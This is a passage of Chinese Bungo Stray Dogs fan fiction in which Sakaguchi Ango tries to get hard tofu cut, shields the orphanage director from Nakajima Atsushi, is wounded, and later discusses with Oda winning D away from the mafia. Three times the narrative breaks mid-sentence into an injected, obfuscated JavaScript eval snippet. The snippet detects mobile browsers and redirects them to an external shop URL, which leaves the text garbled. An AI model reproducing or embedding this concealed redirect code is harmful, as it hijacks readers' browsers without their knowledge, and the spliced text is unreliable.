“毕竟没有人愿意搭理你这个疯子嘛,真可怜啊,被全校避而远之的坂口同学~” “嘁!交朋友有什么了不起的……”坂口安吾低头又把一口安吾锅含进嘴里,说出口的话带着几分咬牙切齿的味道: “不过是一群弱小的家伙在各取所需罢了,所谓的友谊根本就不能真实地抚慰人心,人的灵魂是永远孤独的!”* 对,就是这样!我才不需要朋友!我自己也能找他们打回去!那种塑料的交情只要我稍微挑拨一下…… 缩在最后排形单影只的少年低下头沉默地构思着计划,下午的阳光从窗户照进来却照不亮他所在的角落,其实一个人躲起来的时候他总是很安静的,就像某种躲在角落里默默舔伤的狡猾小动物。 “安吾?你的嘴角怎么了?和人打架了吗?”忽然一个声音从前方传来,然后安吾的桌子前不知道什么时候就忽然有两个人站在那里。 “你们是谁?什么时候过来的?!”坂口安吾吓了一跳,几乎是瞬间就从椅子上弹射起步,下一秒他就身体后仰紧紧贴在教室的墙角:“你们过来干什么?想打架吗?!” 刚才说话的那个人身上穿着安吾的同款校服,不过不知道为什么脖子手腕甚至一只眼睛都被绷带缠上了,他蹦跶几下凑到安吾跟前,然后伸手毫不客气地戳在安吾嘴角的伤口处: “哈哈哈,被堵在小巷子里的安吾好逊哦,让你不会打架还要单独行动,遭报应了吧~” “你这个浑身上下绑成木乃伊一样的家伙有什么资格说我啊!”安吾听到对方的幸灾乐祸吐槽的话脱口而出:“而且你到底是谁啊?怎么就忽然出现然后就开始指责我了?” “安吾,太宰说的对,你不应该单独行动的,都受伤了。”这时候另一个忽然出现的身影也开始说话了,听上去语气很平常,但是声音怎么听怎么不像个中学生。 安吾顺着声音看过去,发现这人也穿着一身校服,但是却顶着一张胡子拉碴的脸,他不由分说地靠近安吾,握住安吾的肩膀把人按在椅子上然后就直接从书包里掏出红药水开始上药包扎。 “啊!你们住手!”安吾痛呼出声,但是无论怎么反抗他都没办法从那个红头发男人手下逃出来,他疼得吱哇乱叫: “你们到底是谁啊?为什么一个长胡子的大叔会穿着中学生校服?为什么中学生会随身携带医疗用品?你们到底是来干什么的?还不快住手啊啊啊!” 他所有的挣扎都无济于事,直到最后药也上了纱布也贴了,安吾终于被那两个怪人放开,他又立刻躲在角落戒备地看着那两个家伙:“你们到底要做什么?” “做什么?当然是要帮安吾找回场子!我们来帮安吾狠狠打回去!”那个绷带怪人一脚踩在椅子上手臂向前摆出一个前进的姿势:“专挑文职人员欺负实在是太无耻了!接下来就让那群混混知道我们mafia的厉害!” 那个红头发大叔也一脸认真地点头:“嗯,交给我吧,我很擅长打架。” “为什么忽然就把话题跳到了这里?”坂口安吾自从他们两个出现开始简直化身成了十万个为什么,他看着那两个蓄势待发想要去报仇的人,心里的疑惑突破天际:“你们是谁?为什么要帮我打架?” “为什么?”那个绷带怪人看着坂口安吾笑了,红发大叔眼里也露出几丝笑意。 “因为我们是安吾的朋友啊。” 安吾心里一个激灵,忽然就睁开了眼睛。 映入眼帘的是白色的天花板,他翻了个身看一眼闹钟,才早上五点十分。 唉,真是一个乱七八糟的梦啊!坂口安吾叹一口气坐起来,摸索着把眼镜带上,去洗涑的时候心里还在不断吐槽刚才那个离谱的梦境。 以我和太宰君的年龄差怎么算也不能在一个中学吧?而且织田作先生明明都是中学生了居然还是一张长胡子的成男脸,可能是因为我没见过他年少的样子所以才会在梦里表现成那样。 真是的,要是他们两个真的帮我去报仇,港口mafia的黑手党去和几个欺软怕硬的混混还有不良少年打成一团,这还真是大材小用,森先生听了恐怕都要气笑了吧…… 想到这里坂口安吾也忍不住被自己想象的那个画面逗笑了,他拿起毛巾擦干净脸上的水珠,去厨房熟练地做好了太宰君今天的早餐,然后就换上一身西装准备出门了。 “安吾,你要去哪里?这么早就已经要去上班了吗?”世界意识有点疑惑地问他。 “去买制作安吾锅的材料,太宰君和织田作先生今天晚上不是还要吃吗?”今天早起的安吾心情莫名很好,看到桌子上摆着的那一块硬豆腐他也顺手装进袋子里拎出了门: “顺便去那些卖冻货的摊贩上问问他们能不能帮忙切开这个东西,如果切成片或者块的话煮起来也更容易软化吧。” 要是真的煮不开太宰君晚上又要闹腾了,为了不影响周一的工作我还是赶紧让硬豆腐也“大成功”吧。 在把早餐投递出去之后安吾就马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985536|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不停蹄地来到了出售各种新鲜蔬菜还有鱼获的早市,坂口安吾不急着去买蔬菜和螃蟹,反而直奔一个有各种棒骨出售的摊贩:“您好,我要一些牛骨肉,请问可以顺便帮忙切一下这个吗?”他把手里的袋子递了过去。 “可以啊,当然可以,顺手的事儿!”那摊贩老板接过袋子打开看了一眼:“这是个什么东西?石头?骨头?” “不,是豆腐……”坂口安吾十分心虚地解释了一句。 摊贩老板:…… 也没有非要去和顾客去争论这个问题,摊贩老板掂量了几下手里的“豆腐”,又伸手在上面按压了几下,最后一脸遗憾地把东西递回去:“抱歉了,小伙子。你这东西太硬了,我这的机器切不开。” 坂口安吾:…… 太宰君,你这硬豆腐到底是怎么做出来的? “没关系,是我冒昧了,请问您知道哪里能切开这个东西吗?” “这……要不你去郊区的锯木厂试试?” “……好的,多谢您。” 于是坂口安吾只好又带着那块豆腐跑去了锯木厂。 “您好,请问你们这里能帮我把这个东西切开吗?价钱好商量。” “抱歉了这位先生,我们厂子里的机器是切木头的,你这个得是石头了吧?要不你去找个切割石材的厂家?” 于是坂口安吾又往城市边缘跑去,再次历经了三十分钟车程之后,他终于找到了一家可以切割石材的工厂。 “这位先生,我们切割的石材硬度没有这么大的,要不您去金属加工厂看看?” 坂口安吾:…… 太宰君,你这硬豆腐用来吃真是屈才了,我看干脆用来糊在港口mafia的大楼外面,以后你就再也不用担心狙击手的暗杀了。 虽然心里有着十二万分的无语,但是对上太宰这个活祖宗安吾实在是一点办法也没有的,于是他只好又双叒叕驱车往更郊区的地方驶去,终于在即将驶出横滨的时候发现了一家金属加工厂。 刚把车在厂区门口停稳,安吾还没来得及进去找负责人协商,忽然就看到这个世界的中岛敦带着一群训练有素的黑西装往一个山顶上走去,为首的人表情严肃似乎是在办一件非常重要的事情。 “这个时间中岛君为什么会出现在这里?”坂口安吾在心里估算了一下时间才想明白:“我知道了,他是来找孤儿院的院长报仇的。” 这是他第一次也是唯一一次违背太宰君的命令,从此以后他就不得不怀着巨大的愧疚感终其一生为了赎罪而活。 想到先前世界那个性格纯良,几次拯救横滨的少年英雄,坂口安吾默默在心里叹一口气,提上豆腐也悄悄跟着那些黑手党往孤儿院的方向走去。 “安吾,你怎么忽然要干预这件事?”世界意识有点疑惑不解:“中岛敦有没有杀掉院长和太宰治能否活下去没有什么关系吧?而且你贸然出手可是很危险的,说不定会被中岛敦直接杀掉!” 悄悄跟踪黑手党的坂口安吾轻叹一口气:“倒也没有特别的原因,只是我希望这样的悲剧能少一点还是少一点吧。” 27.第 27 章 果然如安吾所料,中岛敦此行的目的地正是那个孤儿院。 他神色冷肃地站在那里,只需要轻抬下巴那一群黑西装就刷的一下散开给整个孤儿院围得水泄不通,其他老师看到这阵仗人都傻了,额头的冷汗开始哗哗的淌,只有那个院长跟个没事人一样,还十分欣慰地邀请中岛敦进去参加毕业典礼。 看得安吾直摇头。 “他那个斯巴达一样的离谱教育方式就先不提了,有什么误会就不能先解释一下吗?中岛君那个样子看起来像是来叙旧的吗?都这个时候了还卖什么关子啊!” 世界意识也不理解那个院长的行为,它只能补充一些剧情之外的信息:“那个院长早些年做过一些非常暴力黑暗的工作,似乎从那之后他就只信奉暴力这一种教育方式了。” 都这样了你养什么孩子啊?真是作孽啊!安吾看着事态的发展又想要叹气了,不得不说这个时候就体现出织田作先生的可贵了,同样是改邪归正养孩子,织田作先生的教育方式明显比这位院长先生就强得多。 说话间中岛敦已经跟着院长先生进去参加那个什么毕业典礼了,坂口安吾绕着孤儿院转了一圈之后遗憾地发现黑手党围的实在是太严实了,凭他自己一个柔弱的文职人员想硬冲进去根本就毫无可能。 为了这点事大费周章地把异能特务科的人叫过来也很不合理,而且那个毕业典礼也没给他留下太多的时间,就在坂口安吾心焦地直发愁的时候,他忽然发现守在正门口的那个黑西装似乎有点眼熟。 诶?这不是昨天蹲在邮局门口等着取安吾锅的那位先生吗? 坂口安吾躲在树干后面低头思量片刻,最后直接放弃隐藏目不斜视地直接往孤儿院门口走去。 世界意识被坂口安吾忽如其来的行为惊呆了:“啊啊啊啊安吾你疯了吗?就这么冲出去你绝对会被那些黑手党乱枪打死吧!” “不,我有很大的把握他们不会开枪。因为那位守门的先生昨天才见过我。”坂口安吾一脸例行公事的表情往孤儿院走去,这种走进某个戒备森严之地的经验他其实非常丰富: “那位先生多半会认为我是黑手党的重要线人之类的,最差的结果不过是我被他们抓住关起来而已。” 进不去也没关系,制造的骚乱能打断那个毕业典礼就足够了,反正只要港口mafia不准备和异能特务科彻底撕破脸,把我放回去是迟早的事。 其余的不过是在审讯室里吃点苦头而已,这些对于有着丰富被拷问经验的高级间谍来说不过微风拂面,安吾光在异能特务科相应的对抗训练就不知道做了多少次了,那点刑罚对他来说连代价都算不上。 所以他毫无畏惧地走了出去,并且径直走到孤儿院门口就要往里闯,完全视那些把守的黑西装为无物,理直气壮得就好像他是下来检查的高级官员。 而事态的发展也果然如他所料,一开始有几个黑手党做出了掏枪射击的预备动作,但是立刻就被那个守门的黑手党拦了下来,那位黑手党先生明显认识安吾,而且不知道为何他额头的冷汗都快淌流了。 “请站住,这里暂时不方便进入。”他就连说话都非常客气。 可惜坂口安吾不为所动,他这个人别看平时似乎很文弱,其实强势起来能把很多政府高官呛的说不出话来:“抱歉,我必须要进去。”他熟练地出示了自己的证件: “我看到这里正有大量犯罪分子聚集,疑似里面正在进行违法犯罪行为。” 黑手党们:…… 有时候真的很难理解那些政府官员的精神状态。 你都说了是大量犯罪分子聚集了,居然还敢单枪匹马地跑过来,你是来赚抚恤金的吧? 有几个黑手党都气笑了,瞬间几个黑洞洞的枪管就对准了坂口安吾,关键时刻还是那个门口的黑手党先生发力了,他仅凭一己之力就让其他人都把枪收了回去。 “收枪!你们几个把枪收起来!没有首领的允许谁也不能擅自与异能特务科开战!你们有几条命敢违背首领的命令?!” 这位黑手党先生可能资历或者地位的确比其他人高,于是那些枪口很快又收了回去,黑手党先生擦一擦额头的冷汗:“这个……我们很快就离开,要不您在这稍等一会儿?” 稍等一会黄花菜都凉了,在没把中岛君叫出来之前坂口安吾当然不可能善罢甘休,于是他推一推眼镜,照样一副油盐不进的态度:“不行,我今天无论如何都要进去,要不你们就把我抓起来。” 那位黑手党先生:…… 我这是,我这是造了什么孽才能大清早地就碰上您这位杀神? 之所以说这位先生是杀神倒不是因为他本人是什么杀人如麻的恶魔,而实在是因为这个人的身份实在太金贵了。 具体金贵到什么程度呢?首领曾经跟他们这些负责去取包裹的队长们亲自交代过: “如果要是敢碰他们两个一下,你们就给我自己绑好铅球套上麻袋从横滨湾大桥上排队跳下去~” 被安排去取情报和包裹的队长们都是从干部时代就跟着首领的老人了,他们当然知道首领说这话绝对是认真的。 到底是什么人能对首领这么重要?虽然这位黑手党先生从来不敢私自去调查,不过这些天接触下来他也有一些自己的猜测,他的猜测是……这位圆眼镜的先生其实是首领安插在异能特务科的高级内线。 真不愧是首领啊!安排的内线都做到异能特务科的二把手了,再过几年岂不是整个异能特务科都是我们港口mafia的囊中之物? 所以他的身份金贵也就可以理解了吧?要是这人死了首领上哪再找一个能爬到这么高位置的内线啊? 于是眼下黑手党先生就不得不面临一个两难的局面——到底是听中岛大人的守住门口还是放这位内线大人进去? 什么?你说把人控制起来?你不要命我还要呢,首领都那么说了,谁敢碰这家伙一个手指头啊? 本来他还想着再劝一劝这位内线先生稍等片刻就好,谁知道这位戴着圆眼镜的先生简直油盐不进,即使被枪指着也面不改色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989705|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,推一推眼镜直接就往院子里走了几步。 那黑手党先生哪敢碰他一下?把这位黑手党先生吓得立刻就双手举在胸前后撤几步,就怕一不小心碰到了再给这位内线大人那文文弱弱的小身板碰出个好歹的。 到时候他可就真的要去跳海了。 而坂口安吾本来还以为这下自己肯定要被抓起来了,结果没想到那个守门的黑手党先生居然还自己后退了几步。 坂口安吾:? 虽然不知道怎么回事,不过有现成的机会不用白不用,所以他收起证件,得寸进尺又往前走了几步。 那位黑手堂先生果然又后退了,如今安吾已经彻底走进了院子,而且根本就没有人上来拦他。 “多谢各位的配合。”他非常有礼貌的点头致意,然后头也不回地往孤儿院的教学楼方向走去。 “队长,您就这么放他进去了?”有队员一脸纳闷地凑过来:“怎么不活捉他?说不定还能拷问出异能特务科的情报呢!” 拷问个屁!上午抓了他下午你就要被首领拉去填海了!那位队长先生翻了个白眼,一脸烦闷地挥挥手把那个队员打发走了。 另一边,离开了黑手党们视线的坂口安吾一路狂奔,总算是在世界意识的指路之下勉强赶上了最后的时刻,孤儿院的院长先生正在背对着院子拿出毕业礼物,而现在他身后的中岛君则已经高举起化成利爪的双手。 “住手!杀戮是解决不了问题的!”坂口安吾高喝一声,连续射出几发麻醉弹企图打断中岛敦的行为。 但是这位白色死神早就习惯忍耐着痛苦和不适作战了,不知道是不是肾上腺素飙升让白虎的治愈能力得到了加强,那几发麻醉剂对他毫无效果。 他不管不顾地对着院长猛冲过去,虎化的身体快成了一道白色的闪电。 “危险!快躲开!”眼看着这位少年就要铸成大错,坂口安吾心里一急,也说不上出于什么心理,他全力快跑几步一把推开了院长,自己却因为惯性的原因彻底暴露在虎爪之下。 “啊啊啊啊安吾啊啊啊啊啊啊啊!”世界意识在脑海里发出尖锐的惨叫,坂口安吾只觉得头痛欲裂,他后退几步撞到身后的门上,抬头的时候正好看到对着自己猛挥过来的利爪还有中岛敦那惊愕中带着慌张的眼神。 距离太近,时间太短,他已经来不及收招了。 这不是坂口安吾第一次贴近死亡,事实上那些在不同组织卧底的日子里他每一天过得都像是在走钢丝,所以这一次他其实也没有太过慌乱,甚至还在想这次要是真死这了织田作先生和太宰君的第一次见面说不定还是在自己的葬礼上。 熟悉的走马灯开始在脑海里回放,这次他最先看见的不是lupin里昏黄的灯光,反而莫名回想起今天早上那个荒诞的梦境。 “我们来帮安吾狠狠打回去!”穿着校服的太宰君闹腾地挥舞着手臂:“因为我们是安吾的朋友啊!” 坂口安吾看着这样的太宰君忍不住笑了,然后抬手把那块硬豆腐举起来挡在了胸口。 28.第 28 章 一切在瞬息之间就那么发生了,安吾感觉自己的胸口简直像是被车撞过,刚开始只有一片麻木,然后喉咙口猛地涌上来一股腥甜,接着是从四面八方冲上来的疼痛,最后恢复的才是视觉和听觉。 他发现自己躺在地上,手里的硬豆腐总算是成功碎成了几块,不过所幸自己还活着,所以太宰君这次还真是帮了大忙了。 在心里感谢了一番太宰君之后,安吾才终于开始摸索着确认自己身上的伤势,右肩膀的位置伤痕几乎能看见骨头,流出来的血大多来自这里,胸口的位置托了硬豆腐的福没有伤口,腰腹的位置伤口就比较浅了,应该是中岛君反应过来及时收手了。 还好还好,不太影响行动。坂口安吾在心里松一口气,扶着墙壁挣扎着坐了起来。 “您感觉怎么样了?我已经叫了医护人员往这边赶……”中岛敦一脸复杂地看着坂口安吾,伸手把刚才被打飞的眼镜递给对方:“听外面的人说您是担心出事所以硬闯进来的官方人员? 我很敬佩您的品德……但是您多虑了。我这次来只是为了报仇雪恨,而且刚才那个人完全就不值得您舍身相救,我只能说,死在我手下是他应得的报应。” “如您所见,我是政府的公职人员,所以没办法见到杀人这样的重大犯罪发生在眼前而置之不理。”坂口安吾忍着失血的眩晕感把眼镜戴上,看到那边的孤儿院院长还活着才终于松一口气: “而且杀戮就只是杀戮而已,除了泄愤之外杀戮解决不了任何问题。无论您出于何种原因要做出这等行为,我都觉得您需要再次仔细的考虑。”不知道是因为受伤还是因为力竭他闭上眼睛,声音也逐渐低下去化作一声叹息: “有时候犯下的错事是无法挽回的,您还年轻,不要让自己背负着后悔和罪恶感度过一生。” 中岛敦也跟着看向刚才死里逃生的院长,他手里的毕业礼物不是陷阱也不是什么武器,而是一块手表,他的身边还有一张卡片掉落。 ——祝你生日快乐。 那是一张生日贺卡。 中岛敦忽然就不知道应该说什么了,庭院里只剩下一片沉默。 “看来您已经改变了主意呢,这里应该不会再发生犯罪事件了。”坂口安吾终于松一口气,他扶着墙捂着肩膀上的伤口站起来:“那么,请允许我先告辞……” “请您不要乱动!”中岛敦回过神来手忙脚乱地想过来扶他:“这么重的伤势还是等医护人员过来……” “还是不必了,这是为了我们双方好。”坂口安吾靠在墙壁上缓了片刻,等到眼前的黑斑都消散之后才继续开口:“我的身份负伤住进港口mafia的医疗部会很麻烦,请您不必担心,稍后我会自己去医院就医的。” 看到这位先生实在是去意已决,而且他的身份如果和黑手党有牵扯的确非常麻烦,拗不过对方的中岛敦最后只能目送对方离去:“无论如何,这次您救了我。” 他看着坂口安吾的目光带着敬佩和感激:“有什么我能帮上忙的地方我一定义不容辞!” 听到这里,本来还在犯难的坂口安吾再次转过身来:“我这里还真有一件麻烦事。我现在不方便弯腰,能麻烦您帮我把硬豆腐捡起来吗?” 一头雾水的中岛敦:“哈?” “硬豆腐……就是刚才被您拍碎的那个白色的块状物体。”坂口安吾指着落在脚边的一小块白色碎片:“我这次来其实就是找金属加工厂想把它切开的。如今多亏了您把它弄碎了,可以麻烦您帮我捡起来吗?” 中岛敦:…… 都伤成这样了您还记得一块豆腐,这就是一位公正清廉公务员的自我修养吗? 最后坂口安吾是提着一袋子碎成小块的硬豆腐离开的,幸亏孤儿院地处郊区平时没什么人,要不然他这一身血走在大马路上非得随机吓死几个无辜路人不可。 一路上强撑着又走回自己停车的地方,坂口安吾打开车门狼狈地坐回去,只感觉自己浑身上下已经开始冷得打摆子了,他伸手测量了一下心跳和脉搏,估摸了一下自己暂时还没有生命危险,然后才靠在椅背上头疼地叹一口气。 想必今天下午这件事太宰君就会知道了吧,要是再让异能特务科知道他一个参事官辅佐居然和港口mafia起了冲突还受了伤,到时候各种麻烦事就会接踵而至。 要是因为这件事导致双方起什么冲突,万一再把武装侦探社卷进去,到时候太宰君好不容易养好一点的精神状态不就又岌岌可危了吗…… “世界意识先生,你能直接把我的伤治好吗?”他开始试图寻找不惊动任何人就把伤口处理好的办法。 “抱歉啊安吾,我能干预的也只有一些巧合和概率而已,剩下的一切就只能靠你自己了。”世界意识的声音听起来也非常着急: “不过武装侦探社不是就有一个能瞬间治愈伤势的异能力者吗?不如去拜托她……” 我就是因为不想让太多人知道这件事所以才问你的啊世界意识先生!坂口安吾扶着额头心累地叹一口气。 看到坂口安吾半天既不动也不说话,世界意识开始担心:“安吾,你还好吗?受了这么重的伤还在磨蹭什么?赶紧打120让医护人员过来啊!” “那样的话不出半天异能特务科就会知道这件事了,世界意识先生。所以我在思考如何把这件事盖过去。”坂口安吾眉头微皱,语气听不出来到底是认真的还是在讲笑话: “你说如果我出一场比较严重的车祸的话,身上受的伤能不能把白虎的爪痕盖过去?” 世界意识的声音开始变得颤颤巍巍:“在说笑的吧?安吾你绝对是在说笑的对吧?” “如果恰好是濒死的伤势的话,异能特务科为了让我活着肯定会直接拜托与谢野小姐出手,到时候我身上什么伤都会消失无踪了吧……” “安吾,这个玩笑一点也不好笑!” “世界意识先生,你能控制好这个概率吗?” 世界意识:…… 我终于理解你为啥能和太宰治那个自杀狂魔做朋友了,某种程度上来说你们俩还真是一丘之貉。 就在安吾开始构思要如何才能自然又合理地出一场车祸的时候,忽然有救护车的鸣笛声由远而近,他惊讶地往车窗外看去,救护车居然来自和异能特务科合作的医院,从车里呼啦啦地冲下来一大群人,除了医护人员之外居然还有八千代他们。 “为什么织田作先生也来了?”坂口安吾瞬间感觉眼前一黑,差点倒在座位上失去意识:“谁?谁把他们叫过来的?那群黑手党这么善良的吗?” 居然还会冒着被抓捕的风险特意给政府通风报信? 世界意识显然也没有料到眼下的情况,它短暂地消失了一会,然后语气复杂地开口:“是太宰治……” 在安吾进入孤儿院之后那位守门的黑手党先生就给首领发去了信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997193|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息,在得到了首领“立刻把安吾带出来!”的命令之后他们就冲进了孤儿院,可惜还是晚了一步,当时安吾已经躺地上了。 太宰治当然知道以安吾的身份如果被黑手党救治他会非常麻烦,所以就直接一步到位通知了异能特务科,并且告诉了织田作之助安吾在郊外身受重伤需要帮助这件事情。 听了世界意识的解释,坂口安吾心情复杂:“那位黑手党先生嘴也太快了一点,这种小插曲明明汇报工作的时候再提也来得及的。” 说话间那一伙人很快就冲到了车前,织田作之助看到安吾上半身大片的血迹急得眉头都紧皱起来,他一把打开车门:“安吾,现在感觉怎么样?有呼吸困难或者头晕恶心吗?” “织田作先生你怎么来了?”安吾装作什么也不知道的样子从椅子上坐起来:“我没什么大事,伤口处的血也早就凝固了,不用……” “你别乱动,救护人员马上就到。”织田作之助一把按在安吾没受伤的那侧肩膀上示意他半躺着不动,然后自己和那些医护人员一起把安吾送进了救护车里。 “前辈!前辈你怎么伤成这样了?”八千代急得眼泪都要下来了,当着那么多人的面她又不好意思哭鼻子,于是只好低下头狠吸一口气,说出的话咬牙切齿:“都是黑手党那帮家伙!他们在横滨简直无法无天……” 此时坂口安吾已经因为失血过多和镇痛剂的作用失去了意识,织田作之助坐在一边看着几个医护人员围着他忙上忙下,早就被血浸透的衣服被一点点剪开,露出里面几道深可见骨的伤痕。 如同被凶残的猛兽狠狠抓过一般,伤口几乎贯穿了整个肩膀,腰腹部的几道伤痕也同样鲜血淋漓,整个上半身除了胸口还算完好之外其他地方惨不忍睹,这样的伤势在安吾本就瘦弱的身体上显得格外触目惊心。 织田作之助的眉头紧紧纠结在一起。 他作为一个经验丰富的前杀手当然能看得出来,肩膀上和腰腹上的伤口本来应该是一道连贯伤,如果不是安吾幸运地用什么东西在胸口挡了一下,现在他肯定已经凶多吉少了。 “白色死神……这件事才不会就这么算了!”八千代一看到伤口的形状语气里就充满了厌恶:“港口mafia这次必须为自己的行为付出代价!” “安吾不是文职人员吗?”织田作之助声音干涩地开口询问:“怎么会忽然和港口mafia起了冲突?” 他一接到D的短信说安吾受伤了就着急忙慌地赶过来了,根本就不清楚事情的经过。 “具体发生了什么我们也需要进一步调查。”八千代低下头偷偷地抹一抹眼泪:“从现有的情报来看,前辈是为了保护一个孤儿院所以才……” “孤儿院?” “嗯,港口mafia的人忽然在白色死神的带领下围住了山顶上的孤儿院,前辈一定是偶然撞见了这件事。”八千代说着声音低哑下去,放在大腿上的双手紧紧握住了裤子的布料: “担心孤儿院里的孩子和老师出事,所以前辈才……可恶……前辈明明就完全不擅长战斗,对着这样一个毫无威胁的人还下这么重的手……” 居然会对一群无辜又毫无利益干系的孤儿和老师下手,安吾去阻止的时候不可能不亮明身份,结果他们依然下了死手吗…… 原来港口mafia居然真的能嚣张到这个程度,织田作之助第一次对那群无法无天的黑手党产生了真切的憎恶。 29.第 29 章 等到安吾醒过来的时候他已经躺在医院的病床上了,因为受的伤远达不到生命垂危的程度,所以异能特务科并没有麻烦与谢野小姐,不过尴尬的是他的伤也并不是什么立刻就能出院的小伤,所以如今他不得不躺在床上开始枯燥乏味的养伤生活。 “织田作先生,我睡了多久?”他转头眯起眼睛看了一眼外面的天色:“你一天都在陪床?要不还是回去休息一下吧?” 本来你的写作压力就很大时间很紧了,结果还为了我这点事在医院浪费时间……安吾心里非常过意不去。 “反正我回家也静不下心来,还是在这里看着你吧。”织田作之助非常小心地避开了安吾肩膀的伤口把人扶着坐起来:“先喝点水,正好你的那位下属给你准备的晚饭还没凉。” 安吾接过杯子喝了几口,解了喉咙里的干渴之后他立刻就忍不住询问:“在我睡着的这段时间里有发生什么事吗?我们没再和港口mafia起冲突吧?” “暂时还没有。”织田作之助把床头柜上的眼镜递给安吾: “不过这件事异能特务科不会善罢甘休,在你昏迷期间你的长官也来看过你,然后他就回去着手准备和港口mafia的谈判去了,你的其他同事和下属们似乎也在忙这件事。 听说如今军警那边同样在做战斗准备,如果谈不拢的话也不排除爆发冲突的可能性。” 说到这里,织田作之助把病床上的桌板给安吾放好,然后把口味清淡营养丰富的病号餐一一摆在他面前: “不过安吾只需要好好养病就可以了,剩下的你都不需要担心。” 织田作之助把筷子送到安吾手里,语气一如既往地安心可靠:“无论武装侦探社参不参战我都会帮你的,所以安吾不用害怕和港口mafia起冲突。” 坂口安吾:…… 啊,事态的发展果然朝着最坏的方向倾斜过去了,所以说太宰君你当时不通知异能特务科多好。 经过这样一折腾港口mafia的处境实在是太被动了,而其中压力最大非议最多的自然就是身为首领的太宰君。 坂口安吾食不知味的夹了两筷子菜放进嘴里,还是觉得有些事自己必须要解释一下:“织田作先生,我觉得中间有一些误会,我身上的伤也不是对方故意的……” “无论如何,港口mafia毫无理由地围住毫无战斗能力的孤儿院并且试图袭击院长这件事是无可辩驳的。”织田作之助坐下直接打断了安吾的话,看来在安吾昏迷的这段时间大家也并不是对事情的真相毫不知情。 也是,毕竟还有那位名侦探在呢,怎么可能存在狗血电视剧里那种因为一些误会就草率地发生了冲突的情况。 “而你的确是出于担心孤儿院的原因上前交涉并且被对方重伤,也许过程中那位白色死神是无心的,但是真论起来过错方仍然是港口mafia,而你则是舍身救人的英雄。” 织田作之助的目光看向坐在病床上脸色苍白的安吾,那双眼睛里面似乎洞犀了一切又似乎什么也没有: “能让如日中天的港口mafia处于道义劣势的机会可遇不可求,异能特务科不会白白放过这个千载难逢的机会,安吾,这些你应该比我更懂。” 是啊,我明白这个道理。借题发挥,党同伐异,所谓政治就是这样的东西,从小到大我已经见过很多次了。坂口安吾于是也沉默下来。 以太宰君的头脑他难道就料不到如今这样的局面吗?怎么就非要联系异能特务科不可?我一时半会又死不了,那个难搞的笨蛋…… 坂口安吾忍不住叹一口气,握着手里的筷子半天不动: “我只是不想横滨再掀起战争而已……而且还有D先生那个家伙……”说到这里安吾忍不住又叹了一口气:“D先生那个家伙太让人放心不下了。” 提到另一个朋友D,织田作之助也低下头默默叹一口气。 其实从刚开始做朋友的时候织田作之助就隐约感觉到D的身份肯定不简单,毕竟普通人哪有视频连线却连面都不露的道理,刚开始他还猜测过D是不是因为一些原因被黑手党拘禁起来了,但是后来随着时间推移他又逐渐放弃了这个猜测。 毕竟D看起来过得还挺自由的,无论在那间房子里折腾一些什么都没有人管过他,穿的衣服用的餐具看起来也价格不菲,实在是不像被关起来的阶下囚。 而且今天早上他居然是和异能特务科几乎同时收到消息的,织田作之助觉得那个联系异能特务科报信的神秘人身份已经昭然若揭。 消息能这么灵通,D在港口mafia肯定也担任了不低的职位,如今他又私自透露了这么重要的情报,也不知道他现在的处境到底如何…… 房间里不知道安静了多久的时间,织田作之助终于打破了沉默。 “安吾,我有点讨厌港口mafia。” 坂口安吾听到这话心里一个激灵:“织田作先生……” “他们本身就是这个城市黑暗的化身,每次出现都带来暴力和杀戮,我时常觉得那里本身就是一片深不见底的暗渊,会扯着靠近他们的每一个人往更加黑暗的深处滑去。” 坂口安吾犹豫着辩解:“可能的确是这样,但是也不是所有人都……” “所以安吾,我们把D策反过来吧。” 坂口安吾:…… 织田作先生,你真是语不惊人死不休啊。 坂口安吾因为震惊而短暂地失语了,织田作之助也没在意,只是继续自顾自地说着自己的想法: “我仔细思考过了,D不能继续待在那种地方。也许他心里的某种特质看似和黑手党非常契合,但是这种特质并不能抚平他的孤独,黑手党里也绝对找不到他的救赎之路。” 坂口安吾眼神复杂。 虽然我也这么觉得,织田作先生。但是上来就直接策反敌方老大是不是有点…… “而且D的年纪看上去也很年轻,杀戮和暴力不应该出现在他的成长过程中,不,所有孩子的成长过程中都不应该出现那种东西。” “……” “我之前其实一直在犹豫到底要不要干预这件事,也许保持着这样不远不近的距离对我们都好。”织田作之助终于抬头看向安吾,蓝色眼睛里像有一片辽阔的海: “但是安吾不是主动分享了安吾锅给我们吗?昨天的D看起来真的很开心。所以我想,D可能也在等待有人可以靠近他一点。” “策反D先生可不是关系稍微亲近一点就能成功的事情,织田作先生。” “那我们就再靠近一些,靠得更近,再近。” “近到什么程度为止呢?” 